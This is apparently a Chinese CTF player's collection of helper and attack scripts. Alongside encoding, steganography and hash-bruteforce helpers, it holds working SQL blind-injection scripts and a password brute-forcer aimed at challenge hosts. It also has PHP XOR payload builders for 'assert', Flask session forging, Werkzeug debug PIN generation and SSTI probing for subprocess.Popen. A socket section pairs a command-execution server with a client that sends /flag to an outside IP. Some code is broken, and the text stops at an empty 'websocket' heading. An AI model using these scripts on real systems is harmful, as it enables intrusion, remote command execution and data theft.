python url编码

1
2
import urllib.parse
print(urllib.parse.quote("<>?"))

这种和工具都不能对数字字母进行url编码,只有用burp自带的模块才可以

两位一组截取数据

1
2
3
4
5
6
m = "c8e9aca0c6f2e5f3e8c4efe7a1a0d4e8e5a0e6ece1e7a0e9f3baa0e8eafae3f9e4eafae2eae4e3eaebfaebe3f5e7e9f3e4e3e8eaf9eaf3e2e4e6f2"
num = ""
for i in range(0, len(m), 2):
hex = m[i: i + 2] # hex= m [i] + m [i+1]
num += chr(int(hex, 16) - 128)
print(num)
1
`Hi, FreshDog! The flag is: hjzcydjzbjdcjkzkcugisdchjyjsbdfr`

base64文件隐写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
path = input("C:\\Users\\micgo\\Desktop\\stego.txt") #读取文件的位置
def change(string_test) :
strings_ans = ""
for every in string_test :
bin_num = ""
if every == "=" :
return strings_ans
else :
num = base64.find(every)
while num != 0 :
bin_num += str(num%2)
num = int(num/2)
while len(bin_num) <6 :
bin_num += "0"
bin_num = bin_num[::-1]
strings_ans += bin_num
return strings_ans
def answer(strings_last) :
ans = ""
strings_temp = change(strings_last)
if strings_last.count('=') == 1 :
ans += strings_temp[-2:]
else :
ans += strings_temp[-4:]
return ans
with open("C:\\Users\\micgo\\Desktop\\stego.txt","r") as in_file : #输入文件的名称
strings_first = in_file.readlines()
strings = []
for every_strings in strings_first :
if every_strings[-2] =="=" :
strings.append(every_strings)
with open("C:\\Users\\micgo\\Desktop\\1.txt","w") as out_file : #输出文件的名称
ans = ""
for line in strings :
ans += answer(line)
num = 0
list_num = []
for i in range(0,len(ans)) :
num = num*2+int(ans[i])
if (i+1)%8 == 0 :
list_num.append(num)
num = 0
ans = ""
for i in list_num :
ans += chr(i)
out_file.write(ans)

解压zlib

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!python
#! /usr/bin/env python
import zlib
import base64
import binascii
IDAT = " zlib数据流 ".decode('hex')
#print IDAT
result = binascii.hexlify(zlib.decompress(IDAT))
print(result)

print( result.decode('hex'))
result = base64.b64decode(result)
print result
fount = orr","wb")
fount.write(result)
fount.close()

sql异或盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import re
import requests
import string

url = "http://dcf33d60-7ffa-41c0-8915-e935ccbdd37b.node3.buuoj.cn//search.php"
flag = ''


def payload(i, j):
# 数据库名字
sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
# sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
# sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查询flag
# sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res


def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
time.sleep(0.1)
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
# print (f)
flag += chr(f)
print(flag)


exp()
print('flag=', flag)

只是这脚本似乎有点缺陷,很多次都会出现异常而且得不到最后的库名(请求过快的问题,增加time.sleep即可)

sql异或盲注脚本by myself

1
2
3
4
5
6
7
8
9
10
原理
0^0=0
1^0=1
1^1=0
注入
1^if(length(database())>%d,0,1) % (i,mid)
1^if((ascii(substr((select(database())),%d,1))>%d),0,1) % (i,mid)
1^if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d),0,1) % (i,mid)
1^if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d),0,1) % (i,mid)
1^if((ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d),0,1) % (i,mid)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import time
import requests
url='http://f073a5f7-0a07-43bc-9077-8cf18efa5436.node4.buuoj.cn:81/?stunum=1'
r=requests.session()
flag=''
for i in range(0,50):
min=32
max=127
mid=(min+max)//2
while min<max:
#payload = '^if((ascii(substr((select(database())),%d,1))>%d),0,1)' % (i, mid)
#payload='^if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d),0,1)' % (i,mid)
#payload="^if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d),0,1)" % (i,mid)
payload="^if((ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d),0,1)" % (i,mid)
data = {
"id": payload
}
time.sleep(0.1)
re = requests.get(url+payload)
if "Hi" in re.text:
min =mid+1
else:
max = mid
mid = (min + max) // 2
if mid == 32 or mid == 127:
break
flag+=chr(mid)
print(flag)

sql时间盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import time
import requests
url='http://1660392f-7e69-4425-bec4-a6090cb41e20.node4.buuoj.cn:81/'
r=requests.session()
flag=''
for i in range(0,50):
min=32
max=127
mid=(min+max)//2
while min<max:
#payload = '^if((ascii(substr((select(database())),%d,1))>%d),0,1)' % (i, mid)
#payload='^if((ascii(substr((select(group_concat(table_name))from(information_schema.tables)where((table_schema)=(database()))),%d,1))>%d),0,1)' % (i,mid)
#payload="^if((ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_name)=('flag'))),%d,1))>%d),0,1)" % (i,mid)
payload="a'or(if((select(ascii(mid(group_concat(cmd),%d,1)))from(flaggg))>%d,benchmark(1000000,md5('test')),1))or'" % (i,mid)
data = {"username": payload, "password": "a", "submit": "a"}
starttime = time.time()
r = requests.post(url=url, data=data)
endtime = time.time()
t=endtime-starttime
if t >= 0.5:
min=mid+1
else:
max = mid
mid = (min + max) // 2
if mid == 32 or mid == 127:
break
flag+=chr(mid)
print(flag)

sql无列名注入

1
2
key = (str_hex(flag+chr(mid)))
1 ^ ((select 1,{}) > (select * 表名))".format(flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url= 'http://6c05130d-3668-41d6-9ad6-5e69ce00e0cc.node3.buuoj.cn/index.php'
x=''
for j in range(1,50):
for i in range(33,127):
flag=x+chr(i)
payload = "1&&((1,'{}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag)
data={
'id':payload
}
r = requests.post(url,data=data)
if 'Nu1L' in r.text:
x=x+chr(i-1)
print(x)
break

sql无列名注入(二分法)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
flag=""
for j in range(1,50):
print(j,":")
low = 32
high = 128
mid=(low+high)//2
while low <=high:
print(mid)
flag1=flag+chr(mid)
payload="0^((1,'{0}')>(select * from f1ag_1s_h3r3_hhhhh))".format(flag1)
data={
"id":payload
}
t = requests.post(url,data=data)
t.encoding="Windows-1252"
#print(t.text)
if "Nu1L" in t.text:
high=mid-1
mid=(low+high)//2
else :
low = mid+1
mid=(low+high)//2
print(flag,chr(high))
flag+=chr(high)

web url

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import re
for i in range(1000):
url = 'http://120.79.191.238:42630/'
s = requests.session()
r = s.get(url)
str1 = """<td style=\"WORD-WRAP: break-word\" width=\"1600\">\r\n(.*?)<td>"""
find = re.findall(str1, r.text)
ss = find[0]
sss = sorted(list(set(ss)), key=lambda x: ss.count(x) * 1000 - ord(x), reverse=True)
ssss = "".join(sss)[::-1]

data = {'ans': ssss}
r = s.post(url, data)
print(r.text)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import requests
import re


def get_code():
r = requests.session()
url = 'http://120.79.191.238:42630'
response = r.post(url)
response_text = response.text
sign_text = "<td style=\"WORD-WRAP: break-word\" width=\"1600\">"
code = response_text[response_text.find(sign_text) + len(sign_text):].lstrip()
code = code[:code.find("<td>")].rstrip()
return code


def post_code(code: str):
r = requests.session()
url = 'http://120.79.191.238:42630'
text=r.post(url, data={"ans": code}).text
return text

def work():
strings = get_code()

result = {}
for i in strings:
counts = strings.count(i)
i = '{0}'.format(i)
result[i] = counts

res = sorted(result.items(),key=lambda item:item[1],reverse=False)

s = ""
for i in res:
flag = str(i[0])
s += flag[0]

result = post_code(s+'1')
print((post_code(s+'1')))
if '输入错误' in result:
print("Fail")
exit(0)
else:
print("Success")
if '{' in result:
print(result)
exit(0)


for i in range(0,10000):
work()

python爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import hashlib

Url='http://10.10.1.11:8080/action.php?mode=login'
data={
"PHPSESSID":"3cm2m5gi9dhds7t2a7r2pefa43"
}

with open("top1000.txt", "r") as f:
pddata = f.read().splitlines()
with open("字典1.txt","r") as ff:
usdata=ff.read().splitlines()
with open("常用密码.txt","r") as fff:
usdata2=fff.read().splitlines()
for i in usdata2:
postdata = {
"user": "admin",
"pass": hashlib.md5(i.encode()).hexdigest()
}
r=requests.post(url=Url,data=postdata,cookies=data)

if "密码错误" not in r.text:
print(r.text)

image-20220716110724199

关于png修复CRC错误的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#coding=utf-8
import zlib
import struct
#读文件
file = '1.png' #注意,1.png图片要和脚本在同一个文件夹下哦~
fr = open(file,'rb').read()
data = bytearray(fr[12:29])
crc32key = eval(str(fr[29:33]).replace('\\x','').replace("b'",'0x').replace("'",''))
#crc32key = 0xCBD6DF8A #补上0x,copy hex value
#data = bytearray(b'\x49\x48\x44\x52\x00\x00\x01\xF4\x00\x00\x01\xF1\x08\x06\x00\x00\x00') #hex下copy grep hex
n = 4095 #理论上0xffffffff,但考虑到屏幕实际,0x0fff就差不多了
for w in range(n):#高和宽一起爆破
width = bytearray(struct.pack('>i', w))#q为8字节,i为4字节,h为2字节
for h in range(n):
height = bytearray(struct.pack('>i', h))
for x in range(4):
data[x+4] = width[x]
data[x+8] = height[x]
#print(data)
crc32result = zlib.crc32(data)
if crc32result == crc32key:
print(width,height)
#写文件
newpic = bytearray(fr)
for x in range(4):
newpic[x+16] = width[x]
newpic[x+20] = height[x]
fw = open(file+'.png','wb')#保存副本
fw.write(newpic)
fw.close

字频统计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# -*- coding:utf-8 -*-

#Author: mochu7
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_+- =\\{\\}[]"
strings = open('./flag.txt').read()

result = {}
for i in alphabet:
counts = strings.count(i)
i = '{0}'.format(i)
result[i] = counts

res = sorted(result.items(),key=lambda item:item[1],reverse=True)
for data in res:
print(data)

for i in res:
flag = str(i[0])
print(flag[0],end="")

数学函数fuzz碰撞脚本

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

for($k=1;$k<=sizeof($payload);$k++){
for($i = 0;$i < 9; $i++){
for($j = 0;$j <=9;$j++){
$exp = $payload[$k] ^ $i.$j;
echo($payload[$k]."^$i$j"."==>$exp");
echo "<br/>";
}
}
}

base64字节流形式写入rar

1
2
3
4
5
6
import base64

b64_str = "UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQADDx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEfJkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA=="
byte_stream = base64.b64decode(b64_str)

open('C:\\Users\\micgo\\Desktop\\1.rar','wb').write(byte_stream)

crc压缩包校检爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import zipfile
import string
import binascii

def CrackCrc(crc):
for i in dic:
for j in dic:
for p in dic:
for q in dic:
s = i + j + p + q
if crc == (binascii.crc32(s) & 0xffffffff):
#print s
f.write(s)
return

def CrackZip():
for I in range(68):
file = 'out' + str(I) + '.zip'
f = zipfile.ZipFile(file, 'r')
GetCrc = f.getinfo('data.txt')
crc = GetCrc.CRC
#以上3行为获取压缩包CRC32值的步骤
#print hex(crc)
CrackCrc(crc)

dic = string.ascii_letters + string.digits + '+/='

f = open('out.txt', 'w')
CrackZip()
f.close()

批量修改后缀名

1
2
3
4
5
6
7
8
9
10
import os

path = 'C:\\Users\\Administrator\\Downloads\\test'
for i in os.listdir('./test'):
if i == 'flag.zip':
continue
else:
oldname = os.path.join(path,i)
newname = os.path.join(path,i+'.jpg')
os.rename(oldname,newname)

还有windows的cmd命令: ren * *.xxx

一道misc题用到的两个脚本 (解压缩包。画二维码)https://blog.csdn.net/weixin_46245411/article/details/120232079

异或碰撞脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
function finds($string){
$index = 0;
$a= [33,35,36,37,40,41,42,43,45,47,58,59,60,62,63,64,92,93,94,123,125,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255];
for($i=27;$i<count($a);$i++){
for($j=27;$j<count($a);$j++){
$x = $a[$i] ^ $a[$j];
for($k = 0;$k<strlen($string);$k++){
if(ord($string[$k]) == $x){
echo $string[$k]."\n";
echo '%' . dechex($a[$i]) . '^%' . dechex($a[$j])."\n";
echo "<br>";
$index++;

if($index == strlen($string)){
return 0;
}
}
}
}
}
}
finds("_GET"); //在此处修改
/*
G %86^%c1
E %86^%c3
T %86^%d2
_ %86^%d9
*/
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++) #如果要使POC适用范围更广,可以改为0~126,不过对于不可见字符,需要用url编码表示
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;

function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}

编写脚本计算网页算式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
import requests
from time import sleep

def count():
s = requests.session()
url = 'http://c39b6aaa-4d51-4b1d-b777-32741c72ccc8.node3.buuoj.cn/'
match = re.compile(r"[0-9]+ [+|-] [0-9]+")
r = s.get(url)
for i in range(1001):
sleep(0.1)
str = match.findall(r.text)[0]
# print(eval(str))
data = {"answer" : eval(str)}
r = s.post(url, data=data)
r.encoding = "utf-8"
print('{} : {}'.format(i,eval(str)))
# print(r.text)

print(r.text)

if __name__ == '__main__':
count()

session伪造加密解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'

# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast

# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod

# Lib for argument parsing
import argparse

# external Imports
from flask.sessions import SecureCookieSessionInterface

class MockApp(object):

def __init__(self, secret_key):
self.secret_key = secret_key


if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)

session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e


def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value

if payload.startswith('.'):
compressed = True
payload = payload[1:]

data = payload.split(".")[0]

data = base64_decode(data)
if compressed:
data = zlib.decompress(data)

return data
else:
app = MockApp(secret_key)

si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)

return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e


if __name__ == "__main__":
# Args are only relevant for __main__ usage

## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")

## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')

## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',
help='Session cookie structure', required=True)

## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='<string>',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',
help='Session cookie value', required=True)

## get args
args = parser.parse_args()

## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))

python main.py encode -s “secret_key” -c “要加密的”

python main.py decode -s “secret_key” -c “要解密的”

Unicode可用字符

1
2
3
4
5
6
7
8
9
10
# coding:utf-8 
for i in range(128,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
print("U:{} A:{} ascii:{} ".format(tmp, res, i))
except:
pass

关于那个判断结果中含有- 就跳过,是因为这样先编码后解码会有很多的结果是含有-的,这种是不符合要求的,所以跳过

ssti寻找可用类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import requests
import re
import html
import time

index = 0
for i in range(0, 1000):
try:
url = "http://0b65f501-517f-4277-902c-36841e45f72a.node4.buuoj.cn:81/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)#res[0]数组存储回显
#time.sleep(0.1)
res = html.unescape(res[0])#反转义字符串
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))

#258 | <class 'subprocess.Popen'>
#59 | <class 'warnings.catch_warnings'>
#71 | <class 'site._Printer'>

爆破sha256前4位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import hashlib
import itertools
from string import digits, ascii_letters, punctuation
alpha_bet=digits+ascii_letters+punctuation
strlist = itertools.product(alpha_bet, repeat=4)

sha256=" 6777e1679c1550340a14822a2acc7a3e6fcb1be92631e5861980b1b41d2b83db"
tail="IEo3LXs9pQkmwSNv"

xxxx=''

for i in strlist:
data=i[0]+i[1]+i[2]+i[3]
data_sha=hashlib.sha256((data+str(tail)).encode('utf-8')).hexdigest()
if(data_sha==sha256):
xxxx=data
break

print(xxxx)

生成pin码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
'2485377864455',# str(uuid.getnode()), /sys/class/net/ens0/address
'ad4fc7650590f81ec6ab4e3a40f284a6b5a75454fcb50d6ee5347eba94a124c8'#get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

哈希长度扩展攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashpumpy
import requests
import urllib.parse

txt1 = 'flag.txt'
r = requests.get('http://37689afb-4f6f-435a-a6e5-10c386563084.node3.buuoj.cn/geneSign', params={'param': txt1})
sign = r.text
hash_sign = hashpumpy.hashpump(sign, txt1 + 'scan', 'read', 16)

r = requests.get('http://37689afb-4f6f-435a-a6e5-10c386563084.node3.buuoj.cn/De1ta', params={'param': txt1}, cookies={
'sign': hash_sign[0],
'action': urllib.parse.quote(hash_sign[1][len(txt1):])
})

print(r.text)

全排列

1
2
3
4
5
6
7
8
9
10
11
12
from itertools import permutations

flag = ["{hey", "_boy", "aaaa", "s_im", "ck!}", "_baa", "aaaa", "pctf"]

item= permutations(flag) #对flag全排列,返回的是iterators(迭代器)

for i in item:
#print(i)
k="".join(i) #join连接成为字符串
#print(k)
if k.startswith('pctf{hey_boys') and k[-1]=='}':
print(k)

md5截断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len, start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
if md5.hexdigest()[start: start+str_len] == substr:
print (rnds)
stop_event.set()
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()

用法

image-20220616204502561

弱类型碰撞

1
2
3
4
5
6
7
8
9
10
import hashlib
import re
a = 1
while a < 999999:
md5 = hashlib.md5((str(a) + 'D0g3').encode()).hexdigest()
if re.match('^0e\d{8}', md5[2:]):
print(str(a) + " " + md5 + "\n")
a += 1
continue
a += 1

image-20220616204836359

java序列化和反序列化

base64解码java序列化字符串并转成16进制 (python2)

1
2
3
4
import base64
a = "rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu"
b = base64.b64decode(a).encode('hex')
print(b)

**base64编码java序列化字符串 ** (python2/python3)

1
2
3
4
5
6
7
import base64
file = open("a.bin","rb")

now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()

python socket

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import socket, os

server = socket.socket()
server.bind(("45.77.20.229", 2345))
server.listen(5)
while True:
conn, addr = server.accept()
print("new addr:", addr)
while True:
data = conn.recv(1024)
if not data:
print("客户端已断开")
break
print("执行指令:", data)
cmd_res = os.popen(data.decode()).read()
print("before send:", len(cmd_res))
if len(cmd_res) == 0:
cmd_res = "cmd has no output...."
conn.send(str(len(cmd_res.encode())).encode()) #发送服务端发送给客户端数据的长度
conn.send(cmd_res.encode("utf-8")) #发送服务端的数据
print("send done")
server.close()

客户端

1
2
3
4
s=new Socket("45.77.20.229",2345);
File file=new File("/flag");
s<<file.text;
s.close();

java socket

服务端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package SocketTest;

import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.net.ServerSocket;
import java.net.Socket;

public class Server extends ServerSocket {
private static final int SERVER_PORT = 8999;
private ServerSocket server;

public Server() throws Exception {
server=new ServerSocket(SERVER_PORT);
}
/**
* 使用线程处理每个客户端传输的文件
* @throws Exception
*/
public void load() throws Exception {
while (true) {
System.out.println("-----------等待连接-------- ");
//接收连接服务端的客户端对象
Socket socket = server.accept();
System.out.println("ip" + socket.getInetAddress() + "已连接");
// 每接收到一个Socket就建立一个新的线程来处理它
new Thread(new Transfer(socket),"thread1").start();
System.out.println(Thread.currentThread().getName());
}
}
/**
* 处理客户端传输过来的文件线程类
*/
class Transfer implements Runnable {
private Socket socket;
private DataInputStream dis;
private FileOutputStream fos;

public Transfer(Socket socket) {
this.socket = socket;
}
@Override
public void run() {
try {
dis = new DataInputStream(socket.getInputStream());
String fileName = dis.readUTF();
long fileLength = dis.readLong();
·// 自定义文件夹存放上传的文件
File directory = new File("G:\\SocketFile");
if(!directory.exists()) {
directory.mkdir();
}
File file = new File(directory.getAbsolutePath() + File.separatorChar + fileName);
System.out.println("file"+file);
fos = new FileOutputStream(file);
// 开始接收文件
byte[] bytes = new byte[1024];
int length = 0;
while((length = dis.read(bytes, 0, bytes.length)) != -1) {
fos.write(bytes, 0, length);
fos.flush();
}
System.out.println("======== 文件接收成功 [File Name:" + fileName + "] ");
} catch (Exception e) {
e.printStackTrace();
} finally {
try {
if(fos != null)
fos.close();
if(dis != null)
dis.close();

} catch (Exception e) {
e.printStackTrace();
}
}
}
}
public static void main(String[] args) {
try {
// 开启服务端
Server server = new Server();
// 调用上传文件方法
server.load();
} catch (Exception e) {
e.printStackTrace();
}
}
}

websocket

服务端

1
2
3
4
5
6
7
8
9
